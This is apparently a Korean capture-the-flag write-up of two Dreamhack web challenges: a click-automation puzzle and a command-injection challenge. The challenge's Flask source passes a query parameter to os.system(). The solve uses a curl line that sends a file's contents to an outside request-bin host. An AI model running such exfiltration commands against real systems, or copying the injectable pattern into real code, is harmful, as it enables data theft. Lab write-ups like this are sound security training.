STAGE 10 : Web Hacking Epilogue
Epilogue
> Carve Party
10000번을 클릭하고 플래그를 획득하는 문제이다.
호박을 클릭하였더니 아래와 같이 정말 숫자가 줄어들고 있었다.
코드를 살펴보았는데 counter가 특정 수까지 내려갈때마다 다른 css가 적용되는 것을 알 수 있었다.
$('#jack-target').click() 함수가 counter을 늘려준다.
콘솔에 아래와 같이 입력하여 클릭을 자동화할 수 있도록 하였다.
이를 통해 flag를 획득하였다.
> blind-command
문제의 초기 화면이다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
url에 ?cmd=ls를 입력해주었더니 위와 같이 ls가 나오는 것을 확인할 수 있었다.
이를 burp suite를 통해 확인해보았다.
Dreamhack tools의 request bin을 이용하여 curl로 데이터를 전송하였다.
curl https://qfouqyh.request.dreamhack.games -d $(cat flag.py | tr -d ' |\n')
위 처럼 작성하여 인코딩을 해주었더니 아래와 같은 결과를 얻었다.
이를 이용하여 burpsuite에 작성해주었다.
이를 실행하였더니 Body에서 FLAG를 획득할 수 있었다.
참고 : https://velog.io/@h0meb0dy/DreamHack-blind-command
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] Web Hacking STAGE 9 (0) | 2022.08.24 |
---|---|
[Dreamhack] Web Hacking STAGE 8 (0) | 2022.08.18 |
[Dreamhack] Web Hacking STAGE 7 (0) | 2022.08.09 |
[Dreamhack] Web Hacking STAGE 6 (0) | 2022.08.02 |
[Dreamhack] Web Hacking STAGE 5 (0) | 2022.07.25 |